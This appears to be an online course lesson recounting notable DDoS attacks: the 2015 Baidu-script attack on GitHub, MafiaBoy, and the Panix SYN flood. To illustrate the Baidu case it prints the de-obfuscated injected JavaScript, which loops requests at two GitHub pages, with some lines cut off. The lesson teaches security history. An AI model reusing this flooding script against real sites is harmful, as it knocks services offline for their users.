Notable DDoS Attacks

In this lesson, we'll look at a few notable DDoS attacks.

We'll cover the following

- Baidu
- MafiaBoy
- Panix
  - ℹ We just DDoS'ed ourselves!

I thought it would be fun to mention some of the most notable DDoS attacks that have happened over the years to give you a glimpse of what kind of nasty business this is.

Baidu

In February 2018, GitHub reported incoming traffic of about 1.3 Terabytes of data per second. Take a moment to digest that number. In 2015, GitHub was also the target of the largest DDoS attack at the time, which was carried through injecting malicious code into the webpage that served Baidu, China's largest search engine, and by injecting more malicious code in Baidu's analytics scripts.

If you're wondering what that script looked like, here's the un-obfuscated version:

```
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/scrip
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.get
}
url_array = ["https://github.com/greatfire", "https://github.com/cn-nytimes"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}
```

```
function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);
```

As you can see, the URLs targeted by this attack were `https://github.com/greatfire` and `https://github.com/cn-nytimes`, which hosted content banned by the Great Chinese Firewall, strongly suggesting a political motive behind this attack.

MafiaBoy

In 2000, 15-year-old Michael Calce (also known as MafiaBoy) successfully took down a host of major websites such as CNN, eBay, and Yahoo by taking over networks of a number of universities and using them to trigger the attacks.

A lot of the cybercrime laws in place nowadays are the byproduct of Calce's work, and the idea that a teenager could take down some of the biggest websites in the world was a cause for major concern. Testifying in front of members of the US Congress, security expert Winn Schwartau delivered a very powerful message:

> *Government and commercial computer systems are so poorly protected today they can essentially be considered defenseless - an Electronic Pearl Harbor waiting to happen.*

Panix

Last but not least, I'd like to mention what is considered to be the first DDoS attack

ever recorded when Panix, New York City's oldest Internet service provider, had to fight a SYN flood attack that brought down their services for a long period of time

(some sources mention 36 hours, while others "several days"). The year was 1996, and even though there isn't a lot of documentation from the time, this is arguably the first-ever DDoS attack targeted towards a major internet service.

> ### ℹ We just DDoS'ed ourselves!
>
> Want to know about a very interesting form of DDoS? In 2015 I was at a conference where the keynote speaker was the CTO of the most popular cloud infrastructure company out there.
>
> In his words, the majority of DDoS attacks they suffered over the years were caused by bugs and oversight in their own internal systems, they were running an architecture spanning thousands of services and when a new internal service would come out, they would rarely have DDoS protection as they assumed there would be no threat to the service.
>
> Other teams would start using the new service, without worrying too much about how much traffic they would generate, ending up in bringing it down very quickly.

In the next lesson, we'll look at some services that can protect you from DDoS attacks.